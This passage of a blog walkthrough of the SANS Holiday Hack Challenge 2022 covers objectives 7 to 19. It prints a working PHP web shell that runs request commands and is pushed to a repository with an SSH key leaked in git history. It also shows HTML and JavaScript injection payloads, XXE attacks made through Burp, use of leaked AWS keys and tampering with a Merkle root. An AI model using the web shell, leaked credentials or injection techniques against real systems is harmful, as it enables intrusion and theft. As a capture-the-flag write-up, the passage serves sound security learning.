src="https://cdn-images-1.medium.com/max/563/1*RtRWJO1PkLUvMJ0jUtWiVw.png" /></figure><p>We can then run <strong>fdisk -l</strong> to list our available disks. We can then make a directory that mounts our available disk. Changing into our new directory shows that we are now in the root file system and can traverse through to the jailer’s home directory and find their private SSH key and our secret for this challenge!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*EoACMHXEf5ygaJdrdDSzfw.png" /></figure><h3>Objective 7 — Jolly CI/CD</h3><p>We continue our boat ride to the next ladder which takes us up to Rippin Proudboot and our last challenge within the Elfen Ring.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*6tCMVdTDz1MB856_-QzjmA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/254/1*k76fmpw10hDJaT2qATgx1w.png" /></figure><p>Clicking on the terminal opens the challenge and we are greeted with the information for the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*gQQ3zpzYM_sAgfoqxwY_2w.png" /></figure><p>If we talk to Tinsel Upatree, we are given a hint to get us going with this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*Rcbe9OvrLyvU5_X1hPe0tw.png" /></figure><p>For good measure, let’s first check and see who we are logged into the terminal as and what permissions we have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*KNl8ObxNvQkcKAU7ullKcw.png" /></figure><p>We can follow the same steps as the last challenge to try to obtain root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*ae36agE-1hxXZghfiGBGGg.png" /></figure><p>Now, let’s see if we can clone the git repository we got from Tinsel. By doing everything in the /tmp directory ensures that we are working within a directory that we control and have access to add data to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*4VD4FG3fFGVFkd4a1zDATQ.png" /></figure><p>We can then move into the newly created directory containing our cloned repository. We can see what contents are in the directory, however nothing stands out as being unusual. Let’s use <strong>git log</strong> to see the history of commits that have been made to this repo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*FndVUJteL0DWupnnoMNNiQ.png" /></figure><p>We see several different commits, however there is one that stands out from talking with Tinsel. We can use</p><blockquote>git show e19f653bde9ea3de6af21a587e41e7a909db1ca5</blockquote><p>to view the details of the commit. This shows that user “knee-oh” sent a commit with a private ssh key inside! We can try using this to authenticating into the git repo as “knee-oh” and see what else we have available to us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*yRjYNSE6SKMSMlQ6791Khw.png" /></figure><p>We can copy the ssh key from the commit and write it to a file within our /tmp directory and then use <strong>chmod 600</strong> to give it the appropriate privileges for a ssh key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*I8-gme7RWonaKdWpT3kqxA.png" /></figure><p>Next, we can create a new folder within /tmp to clone the repo into as knee-oh, and then we can use our newly created ssh key to clone the repository again as knee-oh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*tkEm7pj_KeJtlGr7NT5boQ.png" /></figure><p>Now we can move into the newly cloned repo. We can now try uploading a simple PHP shell by opening up our favorite editor (I like nano) and then using the code</p><blockquote>&lt;?php if(isset($_REQUEST[‘cmd’])){ echo “&lt;pre&gt;”; $cmd = ($_REQUEST[‘cmd’]); system($cmd); echo “&lt;/pre&gt;”; die; }?&gt;</blockquote><p>to be able to obtain a shell whenever we try calling out to it after uploading to the repo.</p><p>After creating the shell.php file, we can use the following commands to add our new shell.php file to a commit and push it to the online repo.</p><blockquote>GIT_SSH_COMMAND=”ssh -i /tmp/id_rsa_custom” git add .</blockquote><blockquote>GIT_SSH_COMMAND=”ssh -i /tmp/id_rsa_custom” git commit -m “test”</blockquote><blockquote>GIT_SSH_COMMAND=”ssh -i /tmp/id_rsa_custom” git push</blockquote><p>Once we do that, we can reach out to the site via our terminal and see if our shell works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*eZzEbSgU-u32dw1E-H-wTA.png" /></figure><p>This shows that we are able to view the contents of the remote server using standard commands in conjunction with our shell! We can enumerate through and find the flag.txt file to get our completion for this challenge and find the Elfen Ring! We can take the string we’re given and paste it into our objective and finish the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*iqNBDSdCURGJ9OaqJV_OWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*xnIJP1hwv8of5rKP-8ruWg.png" /></figure><p>We can now go back out into the cave and head on down deeper to find the next ring!</p><h3>Objective 8 — Naughty IP</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*ks6O-Cvtg0KG-l5QIOkzrg.png" /></figure><p>Once we head through the Web Ring door, we get notifications that we have several challenges added to our badge that we can now access. As we go through the cavern, we first come up to Alabaster Snowball, who has a file of artifacts we can download.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/1*uYR-OFAMSeN_7yCnSObesA.png" /></figure><p>When we open up the files we received, we have a text file and a PCAP file. If we open the text file and look through, we can easily find an IP address that has multiple instances of the POST function to /login.html. This seems pretty suspicious and is something we would expect from a brute force event. If we enter that IP address into our challenge field, we will complete this challenge.</p><h3>Objective 9 — Credential Mining</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*58RapmlYH3-gbAl26P9MFQ.png" /></figure><p>We can now open up Wireshark and examine the PCAP file to find the username. In Wireshark, filter for</p><blockquote>ip.src == 18.222.86.32 &amp;&amp; http.request.uri == “/login.html” &amp;&amp; http.request.method == “POST”</blockquote><p>to find everything with the suspicious source IP trying to post to the login.html page.</p><p>Sort on the time column to go from oldest to newest. The first record will contain a username of “alice” and password of “philip”. We can take this a step further and find all of the username and passwords that were tried and save them later for a list that could be useful. Right click on “Value: alice” and select “Apply as Column” to add a column which lists the username and password combination used in each request. We can then put the username into the challenge field in our badge and proceed to the next objective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*zyS2FU7txOA03ZEy8GyOUg.png" /><figcaption>Alice… It’s always Alice… Such a troublemaker!</figcaption></figure><h3>Objective 10–404 FTW</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*dz94UTg53_WExZn6OTN1kA.png" /></figure><p>We can move into Wireshark for this, or search through the weberror text file manually. We know we are looking for a successful URL path, so we will need to filter for HTTP Response code 200. We can go through the text file and look for the first response with 200 and not 404, but there are a lot of lines to go through.</p><p>In Wireshark, we can create a filter to easily narrow down our choices and give us the answer. We need to change the IP address filter from “src” to “dst” so that we’re getting the response back to the suspicious IP address. We then want to filter for our 200 response code, and then sort from oldest to newest. We’re looking for the “Request URI” field which will give us our full address. We can right click on this field and select “Apply as Column” which will let us easily see all of the URIs that the attacker successfully found. Once we get the first path, we need to take this to the challenge field in our badge to successfully complete this challenge. (This is asking for just the first path and not the whole URL)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*8VRMCQYyfqyer1PgspK8-A.png" /></figure><h3>Objective 11 — IMDS, XXE, and Other Abbreviations</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/327/1*K94tyYPYe6xkP7ibdzO5lA.png" /></figure><p>This challenge tells us that we’re trying to find the URL the attacker was trying to fetch. Right away, we know we’re looking for IMDS. Again, we can do this in Wireshark or by checking through the text file. We know that we’re looking for IMDS, so we should filter the results for anything with IP address 169.254.169.254. We can use the following filter in Wireshark to retrieve the valid requests for this address and view the full URI. Right-clicking on it and choosing “Follow →HTTP Stream” will let us see the entire response which does include the secret keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*cMEJuNweyZNPobX2Oyyn_Q.png" /></figure><p>We can also search in the text file for the IMDS IP address and find the entry which shows the actual XXE code that was used to reach out as well. We can take this address into our challenge field in our badge and move on to the next one!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/277/1*OzjK5TKrsC5GW6gvBw07BQ.png" /></figure><h3>Objective 12 — Boria Mine Door</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/1*XJoCy4tfp_dMDcc9FpUpCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*37xHfyVGw7sZdioab8ZEsQ.png" /></figure><p><em>Talking with Alabaster provides some very useful clues for completing this challenge.</em></p><p>When we open the terminal, we are presented with a set of 6 interconnected pin. We only need to open three of them to be able to open the door.</p><p>Following the clues we were given, let’s look at the source code for the pins for some help. If we right-click on the first lock and choose “Inspect” we can view the code and see that there is a comment that contains some characters. This looks similar to what was shown in the introduction, and since we don’t have an elvish keyboard, these characters might just do the trick. If we copy them and put them into the first pin we see that it completes the patch!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*5YvCwJdRDpeMfKScMUbTIg.png" /></figure><p>Now, let’s move on to the second pin. This gives us a hint that the developer maybe hasn’t filtered out HTML from the user input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*lhtt8T3XmYc5iWQsf7AjYg.png" /></figure><p>The pins appear to unlock once the path is completed from side to the other and with the appropriate color, so let’s try making a simple path by turning the background white with some HTML.</p><blockquote>&lt;body style=”background-color:white;”&gt;</blockquote><p>Moving on to the third pin, and we see that the developer again left a comment that they need to filter out JavaScript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*wgqmLQL_LachrTpZDKvpmg.png" /></figure><p>Again, let’s just try to use some JavaScript to change the background to blue this time to follow the pipe on both sides of the pin.</p><blockquote>&lt;script&gt;document.body.style.backgroundColor = “blue”;&lt;/script&gt;</blockquote><p>We’ve now unlocked the three pins necessary to move on through the door, but why stop now! Let’s go ahead and unlock the other 3 pins and see what we get.</p><p>The difficulty increases a little with this challenge by requiring us to have two different colored paths. Our first one needs to be white and our bottom one blue. Looking at the code also shows that there are characters that have been sanitized out. An easy way to do paths is to use SVG. Now, we can use an image editor and draw our paths and convert them to SVG code, or we can write our own code. Using a site like <a href="https://www.w3schools.com/graphics/tryit.asp?filename=trysvg_path">https://www.w3schools.com/graphics/tryit.asp?filename=trysvg_path</a> will allow us to write our code and see the results in real time.</p><p>Using</p><blockquote>&lt;svg&gt;&lt;rect x=”0&quot; y=”25&quot; width=”200&quot; height=”25&quot; fill=”white”/&gt;&lt;rect x=”0&quot; y=”125&quot; width=”200&quot; height=”25&quot; fill=”blue”/&gt;&lt;/svg&gt;</blockquote><p>will draw two rectangles, the top white and the bottom blue, and will put them across the pin to connect the appropriate pipes. Now, the sanitization might pose a problem, however it does not get applied if we simply press “enter” on the keyboard instead of clicking on “GO”, so we do not have to worry about following the sanitization rules!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/123/1*UkCljjLLHGHvVuSd7jyh3Q.png" /></figure><p>Pin 5 also contains a new set of sanitization rules, but let’s not worry about them for now. This one requires us to have red on top and blue on bottom with pipes that aren’t straight across from each other. Using</p><blockquote>&lt;svg height=”210&quot; width=”400&quot;&gt;&lt;path d=”M200 75 L-100 225 L200 225 Z” fill=”blue”/&gt;&lt;path d=”M200 25 L-100 175 L200 75 Z” fill=”red”/&gt;&lt;/svg&gt;</blockquote><p>will draw two shapes in the appropriate colors that will connect the paths, again pressing “enter” and not clicking “GO”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/126/1*Etn05Nay9KRwMQ1mF333WQ.png" /></figure><p>Pin 6 does not offer any clues for the sanitization, however we’ve already shown that we don’t have to worry about that part from Pins 4 and 5. Let’s just focus on creating the three paths with green on top, red in the middle, and blue on the bottom. Using</p><blockquote>&lt;svg height=”210&quot; width=”400&quot;&gt;&lt;path d=”M200 75 L-100 125 L200 225 Z” fill=”blue”/&gt;&lt;path d=”M200 25 L-100 75 L200 175 Z” fill=”red”/&gt;&lt;rect x=”0&quot; y=”25&quot; width=”200&quot; height=”25&quot; fill=”lime”/&gt;&lt;/svg&gt;</blockquote><p>will produce the three paths needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/130/1*JqMpHx21nCOBvB0Ajc5OmA.png" /></figure><p>Unlocking all 6 pins gives us some extra coins and a bonus achievement. When we talk with Hal Tandybuck, he will now give us some extra clues to help us with the final challenge for this Ring.</p><h3>Objective 13 — Glamtariel’s Fountain</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*FXYogC_JtpYwSSlypWdumg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/113/1*e6GeqrfTGrO_fXOVUgUMgQ.png" /></figure><p>Paying attention to all of the hints we are given, we know we need to look out for UPPERCASE words and make note of them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*jdPMsAlFAp-wQo0SSOAi1A.png" /></figure><p>Dragging the different items from the top right and dropping them directly onto either Glamtariel or the Fountain will produce different responses. Working through all of the different combinations will eventually get the items to change.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*jwT5E-yLz_eizUpQM7XKZQ.png" /></figure><p>After working through all of the different combinations, we can work with Burpsuite to see what’s going on behind the scenes and see where we might be able to do some XXE attacks.</p><p>The first thing we need to do is intercept one of the transmissions when we drop one of the items onto Glamtariel. Using our keywords and other hints, we can look and see where we can input XXE. After dropping one of the rings onto Tamriel, we can send that POST request to Repeater and then do some playing around. First, let’s send the original request again and see what we get.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*dRUVbCpGc8MEYy0SriyhGw.png" /></figure><p>We should be able to duplicate this result by replacing the JSON request with XML.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*12eIbSmYIA440NymW_2aTw.png" /></figure><p>Okay, changing over to XML works, now let’s put in some XXE! This works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*xfhcLdqA66JrrHGL1PuCVQ.png" /></figure><p>We need to now try to locate the ringlist. Through some enumeration, we find the path /static/images/ associated with all of the images. We can go to a browser and view the various images associated with the objects, so let’s use this path and try to find the ringlist. It would make sense for a list to be a .txt file, so let’s try sending /static/images/ringlist.txt via XXE and see what we get.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*13kMQVlumw6MDHYWiWsZ5w.png" /></figure><p>This doesn’t work, so we need to do some more playing around and see what we can do. Now, if we mess up and they detect we’re TAMPERing with the system, Grinchum will come by and then we need to start all over from the beginning.</p><p>As we go back through, if we pay attention to the various messages that come up, we get one that is helpful for avoiding Grinchum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/188/1*w_xYqp4b-sGSkoNXyAUeig.png" /></figure><p>If we make one change to our path and add “app” at the beginning of it, then we will gain access to the ringlist! We can then take this path given in our response and visit it in our webbrowser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*dILZNPHy07i17baugZGg5Q.png" /></figure><p>Reading this takes a bit of patience, but it can be made out easy enough. This is a named folder which contains two other filenames inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/173/1*wDAuD1JvfxSaecQsa5LjiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RZUt0VFZVUSh0yu7a1lQQA.png" /></figure><p>If we try some of the other color rings that she said we will get other responses as well. Looking for the green ring produces one of the secret easter eggs!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uST1GUSB4w3axYj-pRZ6MA.png" /></figure><p>Glamtariel tells us in one of the exchanges that Silver is her favorite, so let’s look for silver. We’re given with a link to the defiled red ring which contains another file for us to checkout.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTDSk2cK0Oo78hRARICZDw.png" /></figure><p>Looks like we need to try our XXE in some different locations to get this one to work. Using the last clue, it looks like we need to try the REQTYPE field for our XXE. Looking at the various rings, we see that the silver ring is named “img1”. If we put “img1” into the &lt;imgDrop&gt; field and then put our &amp;xxe; into the reqType, then we get a message from Glamtariel with the golden ring!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*Xnhz2PQZPxSCRj4_9I5Whw.png" /></figure><p>Clicking on it makes it disappear and we have now collected the Web Ring! Take the file name and put it in the challenge field in the badge to finish the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*uQhsKQTHHSpdpDYIAprgwA.png" /></figure><h3>Objective 14 — AWS Intro</h3><p>As we move to the Cloud Ring and go deeper into the caves, we come up to Jill Underpole for the next challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*zwYdBzFWjAt3hG2_szlbbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/93/1*mErfb1eU-hyQKEY9HGsrKQ.png" /></figure><p>This is pretty much just following the directions for the challenge to complete it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*s67WvCDK9y2MBVr-6JNp7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/277/1*6AMAwCX8GKgeBdmr6wIF7A.png" /></figure><h3>Objective 15 — Trufflehog Search</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*Zu6QVjWGiSkKKQOLbGY0Sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/106/1*p-yWPgU3MKga5pcS9sGvhA.png" /></figure><p>Talking with Gerty Snowburrow will give us a link to a Git rep to work with. <a href="https://haugfactory.com/orcadmin/aws_scripts">https://haugfactory.com/orcadmin/aws_scripts</a></p><p>If we open up a terminal on our local computer (linux), we can use trufflehog to investigate this repo. You might need to install trufflehog first, if so, just follow the normal steps for installing tools in your flavor of linux and then run the command to search the link given to us from Gerty. We can then take the file listed in the trufflehog results into our challenge field and complete this objective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*UHtFFajn3yfnyKQRRPZ8nA.png" /></figure><h3>Objective 16 — Exploitation via AWS CLI</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*12F0CN5X6ox3YBvCGl_zAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/89/1*T6UwdAuU4nBI9n8OZ-6gMw.png" /></figure><p>We move on up to see Sulfrod and the terminal for our next objective.</p><p>This objective is another that follows along with the prompts pretty easily. The most difficult part is finding the right AWS command, however the guides provided assist in finding the right one. We will be going between LIST and GET functions within AWS, so if we don’t have permission to do a LIST, then look for a comparable GET and vice versa.</p><p>Our first part of the challenge is to get the access key id and secret access key and configure with region of “us-east-1”. We can use Trufflehog again with the git repo to find the access key id and access key. As we progress through, the output from the previous command will give us the information to put into the next command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*atqyGu1nyfxtzGSngVyY9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*fSX84GQORAQIgQVTzcKd3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*MuBhtRXK2xgk2PZ4mmSk3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*NKjENCeVOvGpGg0OLELk4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*bzhpoujv7Bt-s_IT4scq4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*iSEWqQDPITN9OtFDWAx25g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*YUnysDmuAA0h8SmkxNnE4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*YxuasQ9ZIfIjDXKqTxYbsg.png" /></figure><p>This next command has too much output to view in the terminal with direct output, so if we write the output to a file and then open it with Nano we can view the full file and get the FunctionName at the top.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*qAgsiw7jSIE3Wc73AlhKVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*VIMwD9kVF4-5YBI2pB7KGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*fgO99xnaq0r8RGEp7tBUWg.png" /></figure><p>And with that, we have retrieved the Cloud Ring!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*W8-O26syoMVgMhAnuG8XNA.png" /></figure><h3>Objective 17 — Buy a Hat</h3><p>Now, we head down to the final level of the cave and reach the Burning Ring of Fire!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*Ml2SexdX4kIH4vPnAFhgfw.png" /></figure><p>Our first Objective here is to Buy a Hat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*luycU7cgJ0secIxNzFqnmg.png" /></figure><p>Everything we need to complete this challenge is here and we are given some hints from Wombley Cube on how to purchase the hat we want.</p><p>We need to click on the hat vending machine and then go through all of the hats available and find the one we want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*AlGLwqoZfqNffQp2TkS4Wg.png" /></figure><p>For this hat, we will need to approve a 10 KC transaction to the provided wallet address and then use HAT ID: 27 to finish the transaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/178/1*2iN2R9SZQKnUxM2yXkI9PA.png" /></figure><p>Click on the KTM to open up the screen to begin a transfer. So, hopefully you wrote down your Key at the beginning of the game, because we’re going to need it now. Put the information into the KTM and then click “Approve Transfer”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/216/1*2WS8bvqhQlNoNcSNmFmvcw.png" /></figure><p>Next, go back to the hat vending machine and click on the option at the top to finish our transaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/217/1*iqW-ZehPulegS82q4eqMCw.png" /></figure><p>Completing this transaction not only gives us an awesome hat to wear (I wish I would have known and bought one at the beginning!!) but it opens up the next challenge and gives us a TransactionID and Block number that might be useful later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*qDohycPnEbmjPKvHrLKYRw.png" /></figure><h3>Objective 18 — Blockchain Divination</h3><p>We climb the ladder down to the final level and find the next challenge at the far end of the tunnel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/1*h9yuBn_P9FURMUKKuw_GEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/119/1*LknmMUerHWy6G3hhmRtBGg.png" /></figure><p>If we open the Blockchain Explorer terminal, we are presented with a way to view all of the entries that have been put into the Blockchain. We can view our hat transaction by navigating to it using the Block number we received. If we look at the hints we received for completing this challenge, we are told that the “To:” address is the one that contains the address of the KringleCoin smart contract. Copying this address to the challenge field in our badge will complete this objective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*ok4ws7EbZsO6ElCsHnvgHg.png" /></figure><h3>Objective 19 — Exploit a Smart Contract</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*xesXpTE_Q1jVkwxhNsdYyQ.png" /></figure><p>This is the final challenge and will put everything we’ve learned and worked on to the test. We need to click on the Bored Sporc Rowboat Society terminal to start this challenge. If we try to access this website from our own terminal, we won’t get any credit for it, so it’s important to do it all from here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/1*CAA7l5E3lB69ppt9H_dI1Q.png" /></figure><p>We have received some hints that talk about a Merkle Tree, and if we watch Prof. Petabyte’s talk about NFTs, it will help everything make sense. He also mentions that there is a Git repo that might be made available that could be useful. If we do a little OSINT, we will find the Professor’s Twitter page where he provides the link to his Git repo. Once we find the Git repo, we can download the merkle_tree.py script and get on with getting our own BSRS NFT!!</p><p>We follow the instructions in the merkle_tree.py script and put our wallet address into the allow list, follwed by some superfluous addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*td5HMeG937LEKzMrnPkNRQ.png" /></figure><p>When we run the the merkle_tree.py script, we are then given a Root and two Proofs that we can use to get our NFT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*Nhm1YQSQurEe1wnV_R-3tQ.png" /></figure><p>Next, we need to use the BSRS website and Burpsuite to see what’s going on. We go to the presale page and read through the instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*ikIL2yDK3ZN8xZCX5v4SAw.png" /></figure><p>We need to put our wallet address and the two proof values we were given from the merkle_tree.py script. Once we put that info in and validate, we are given an error that we’re not on the list. If we look at the transmission in Burpsuite, we see that there is a field for the Root that we can put in the value we received from the script. If we put our information in again and then edit the transmission in Burp, let’s see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*p1Y9SbpjNyP1EZNGru9J_A.png" /></figure><p>We are told that we are now on the list and are able to buy a SPORC NFT!!!! So, now we need to go to a KTM and authorize a 100KC transfer to 0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3a.</p><p>After going to the KTM and authorizing our transfer, we need to go back to the BSRS Terminal and back to the presale page. We put our wallet address and proof values like before, however this time we need to uncheck the “Validate Only” box. We can now send our request and capture it in Burp and put our root value from the merkle_tree.py script as before and we’ll get our NFT!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*bl2j71-gBdEYc2dMTOqdaQ.png" /></figure><p>Here’s our beautiful SPORC NFT!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*h7-N5QMw4G642KPm63-v1w.png" /></figure><p>With that, we have recovered the last of the 5 Golden Rings!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*152ZhVe3bZ-n3bV086eAPA.png" /></figure><p>We can now go back to the front of Santa’s Castle and talk to Santa who tells us that we can now go on into his castle.</p><p>We can now go inside and talk with Santa again and we have won!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ExBPp4nAuS71OItf8Wvkew.png" /></figure><h3>Secrets</h3><p>This is by no means a complete walkthrough of each of the secrets, and I’m sure there are other secrets I have not found.</p><p><strong>Santa Magic</strong></p><p>There is a secret location at the North Pole accessible by going to the back left of the Castle and walking through the wall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*du2Nk1etTGqzBcqoi7UNaA.png" /></figure><p>This contains a Cranberry Pi terminal called “Santa Magic”. This terminal will show you your Key if you have misplaced it. It really is a Christmas Miracle with Santa’s Magic!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*SLVe5db9QMGYi7RZBD2J7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*aztYsMq1BRJR5jMfJQIUNA.png" /></figure><p><strong>Hidden Chests</strong></p><p>There are multiple hidden chests in the caves. You can find these by locating places in the walls where there are flecks of color showing through.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/248/1*D0V67U8cNjTIrEQo7o9kJA.png" /></figure><p>You can enter these and then wind your way through to the hidden chest. These chests contain coins and hints for various challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/269/1*oOlluxcPwOPkwXstVzUqUQ.png" /></figure><p><strong>Jason</strong></p><p>Jason has made his way out of the toilet from last year’s KringleCon and is now embodied in this calling bird at the bottom of the caves by the Burning Ring of Fire.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*_x4gwtcxYBfMGiS-q8bdJQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5caa766be9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>